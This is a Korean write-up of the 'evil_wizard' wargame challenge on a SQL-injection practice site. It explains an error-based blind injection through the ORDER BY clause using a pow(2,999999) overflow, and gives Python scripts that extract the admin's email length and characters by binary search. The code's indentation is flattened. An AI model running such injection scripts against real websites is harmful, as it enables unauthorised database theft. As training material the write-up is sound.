분석
또 이렇게 생겼고 email을 구해야하네요.
proc, union, sleep, benchmark가 막혀있습니다.
/i 옵션도 있고요
이것저것 해보면서 든 생각 중 하나는 order by 에러를 이용하자는 것이었습니다.
뭐야 왜 동작해요
이것도 동작하네
다 동작한다면 정렬 순서를 가지고 참 거짓을 판별할 수 있지 않을까 싶습니다.
그냥 select 1 from member where user_id='admin'; 을 했을 시 admin이 없으면 empty set이지만
if문을 덧씌우면 1 0으로 출력이 가능..
그러면 이걸 가지고
아니 왜 순서가 안 바뀌지
그냥 if user_id로 써버리면 row마다 비교해서 order by 할 것 같아서 위 처럼 했는데..
로컬에선 안 되더라도 비슷한 원리로 서버에서 해봅시다.
음 로컬에서도 이것저것 하다보니 되는 걸 찾았습니다.
동시에 user_id만 바꿔도 이렇게 적용되는 걸 보면 열마다 order by가 적용되는게 맞나봅니다.
다르게 나온 lee_min을 가지고 분석해보면
첫 row에 lee_min, 두번째 row에 user1이 기본인 상태에서
if문이 3을 반환하여 user_pw로 정렬하고 -> lee_min만 존재
if문이 1을 반환하여 user1 < lee_min 이므로 user1이 위로 올라가서 나옵니다.
반면 user_id='admin' 이면 ..?뭐야 user1<lee_min 아니잖아..
근데 생각해보니 에러 이용할거면 잘 모르는 order by보다 산술 오버플로우 에러나 사용하는게 나을 거 같았습니다.
이렇게 적으면
order by는 칼럼을 여러 개 지정해서 정렬 할 수 있는데, 만약 id가 게스트면 id로 정렬하고 또 후 순위로 pow(2, 999999)로 정렬합니다.
order by에 숫자를 넣을 수도 있는데 몇 번째 칼럼인지로 매깁니다.
where 절이 거짓이면 표가 출력될 것이고, 참이면 에러로 인해 출력하지 않을 것입니다.
풀이
길이부터 구해봅시다.
import requests
url = 'https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?'
cookie = {'PHPSESSID':'ㅋㅋ'}
for i in range(1,100) :
query = 'order=id, (select pow(2,999999) where id=\'admin\' and length(email)={})'.format(i)
print(query)
req = requests.get(url+query, cookies=cookie)
if('rubiya' not in req.text) :
print(i)
break
이번엔 길이가 30이네요.
또 이메일 조건이면 ascii를 써야할테니.. 이진탐색 합시다.
aasup3r_secure_email@emai1.com
import requests
url = 'https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?'
cookie = {'PHPSESSID':'cookie'}
# for i in range(1,100) :
# query = 'order=id, (select pow(2,999999) where id=\'admin\' and length(email)={})'.format(i)
# print(query)
# req = requests.get(url+query, cookies=cookie)
# if('rubiya' not in req.text) :
# print(i)
# break
length = 30
email = ''
for i in range(1, length+1) :
high = 0xff
low = 0x0
while(low <= high) :
mid = (high+low)//2
query = 'order=id, (select pow(2,999999) where id=\'admin\' and ascii(substr(email,{},1))={})'.format(i,mid)
print(query, 'low:',low, 'high:',high, 'find:',email)
req = requests.get(url+query, cookies=cookie)
if('rubiya' not in req.text) :
email += chr(mid)
break
query = 'order=id, (select pow(2,999999) where id=\'admin\' and ascii(substr(email,{},1))>{})'.format(i,mid)
print(query, 'low:',low, 'high:',high, 'find:',email)
req = requests.get(url+query, cookies=cookie)
if('rubiya' not in req.text) :
low = mid+1
continue
query = 'order=id, (select pow(2,999999) where id=\'admin\' and ascii(substr(email,{},1))<{})'.format(i,mid)
print(query, 'low:',low, 'high:',high, 'find:',email)
req = requests.get(url+query, cookies=cookie)
if('rubiya' not in req.text) :
high = mid-1
continue
print('res:',email)